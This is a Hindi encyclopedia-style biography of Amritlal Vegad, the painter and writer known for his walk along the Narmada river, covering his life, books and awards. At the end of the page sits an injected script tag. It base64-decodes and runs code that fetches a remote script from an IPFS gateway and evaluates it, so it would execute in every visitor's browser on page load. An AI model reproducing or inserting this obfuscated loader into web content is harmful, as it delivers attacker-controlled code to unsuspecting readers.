अमृतलाल बेगड़
| |
पूरा नाम | अमृतलाल बेगड़ |
जन्म | 3 अक्टूबर, 1928 |
जन्म भूमि | जबलपुर, मध्य प्रदेश |
मृत्यु | 6 जुलाई, 2018 |
कर्म भूमि | भारत |
मुख्य रचनाएँ | ‘सौंदर्य की नदी नर्मदा, ‘अमृतस्य नर्मदा’, ‘तीरे-तीरे नर्मदा’। |
पुरस्कार-उपाधि | 'साहित्य अकादमी पुरस्कार' और 'महापंडित राहुल सांकृत्यायन पुरस्कार' |
प्रसिद्धि | साहित्यकार, चित्रकार |
नागरिकता | भारतीय |
अन्य जानकारी | नर्मदा नदी की चार हज़ार कि.मी. की पदयात्रा अमृतलाल बेगड़ ने की और नर्मदा के अंचल में फैली बेशुमार जैव विविधता से दुनिया को वाक़िफ कराया। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
अमृतलाल बेगड़ (अंग्रेज़ी: Amritlal Vegad, जन्म- 3 अक्टूबर, 1928, जबलपुर; मृत्यु- 6 जुलाई, 2018) प्रसिद्ध साहित्यकार, चित्रकार और नर्मदा प्रेमी थे। वे नर्मदा नदी समग्र के प्रमुख थे। उन्होंने नर्मदा संरक्षण में उल्लेखनीय भूमिका निभाई थी। अमृतलाल बेगड़ ने पर्यावरण संरक्षण के लिए उल्लेखनीय काम किया। उन्होंने नर्मदा की 4 हज़ार किलोमीटर की पदयात्रा की। उन्होंने नर्मदा अंचल में फैली बेशुमार जैव विविधता से दुनिया को परिचित कराया। 1977 में 47 साल की उम्र में नर्मदा परिक्रमा करनी शुरू की, जो 2009 तक जारी रही।
परिचय
अमृतलाल बेगड़ का जन्म 3 अक्टूबर, 1928 को जबलपुर, मध्य प्रदेश में हुआ था। मूलतः गुजराती संस्कृति से ताल्लुक रखने वाले बेगड़ ने 1948 से 1953 तक शांति निकेतन में कला का अध्ययन किया। नर्मदा नदी के प्रति उनकी गहरी आस्था थी। यही वजह है कि उनकी नर्मदा वृतांत की तीन पुस्तकें हिंदी, गुजरती, मराठी, बंगला, अंग्रेज़ी और संस्कृत में प्रकाशित हुईं। गुजराती और हिंदी में 'साहित्य अकादमी पुरस्कार' और 'महापंडित राहुल सांकृत्यायन पुरस्कार' जैसे अनेक राष्ट्रीय पुरस्कार से उन्हें सम्मानित किया गया था। उनके द्वारा लिखित 'सौंदर्य की नदी नर्मदा' प्रसिद्ध पुस्तक है।
2018 में 'माखनलाल चतुर्वेदी पत्रकारिता विश्वविद्यालय' के दीक्षांत समारोह में भारत के उपराष्ट्रपति वेंकैया नायडू द्वारा मानक उपाधि अमृतलाल को प्रदान की गयी थी। उनका स्वास्थ्य खराब होने के कारण जबलपुर में उनके निवास पर एक सादे समारोह में उपाधि प्रदान की गयी थी।
नर्मदा की पदयात्रा
अमृतलाल बेगड़ उन चित्रकारों और साहित्यकारों में से थे, जिन्होंने पर्यावरण संरक्षण के लिए उल्लेखनीय काम किया। नर्मदा नदी की चार हज़ार कि.मी. की पदयात्रा उन्होंने की और नर्मदा अंचल में फैली बेशुमार जैव विविधता से दुनिया को वाक़िफ कराया। 47 साल की उम्र में 1977 में उन्होंने नर्मदा की परिक्रमा करना शुरू किया था और 2009 तक ये क्रम जारी रहा।
लेखन कार्य
अमृतलाल बेगड़ की हिंदी की प्रसिद्ध किताब- 'नर्मदा की परिक्रमा' है, जो उन्होंने नर्मदा परिक्रमा के दौरान हुए अनुभव के आधार पर लिखी थी। नर्मदा के हर भाव और अनुभव को बेगड़ साहब ने अपने चित्रों और साहित्य में उतारा। उन्होंने गुजराती में सात, हिन्दी में तीन किताबें लिखीं- ‘सौंदर्य की नदी नर्मदा, ‘अमृतस्य नर्मदा’, ‘तीरे-तीरे नर्मदा’। साथ ही 8-10 पुस्तकें बाल साहित्य पर भी लिखीं। इन पुस्तकों के पाँच भाषाओं में तीन-तीन संस्करण निकले। कुछ का विदेशी भाषाओं में भी अनुवाद हो चुका है।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ नर्मदा की लहरों के साथ कदमताल करने वाले चित्रकार-साहित्यकार अमृतलाल बेगड़ नहीं रहे (हिंदी) hindi.news18। अभिगमन तिथि: 14 जुलाई, 2018।
बाहरी कड़ियाँ
- मेरे लेखन और कला का केवल विषय रहा है नर्मदा - अमृतलाल बेगड़
- साहित्यकार और नर्मदा परिक्रमा करने वाले अमृतलाल बेगड़ का निधन
- नहीं रहे नर्मदा के लाल अमृतलाल बेगड़
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>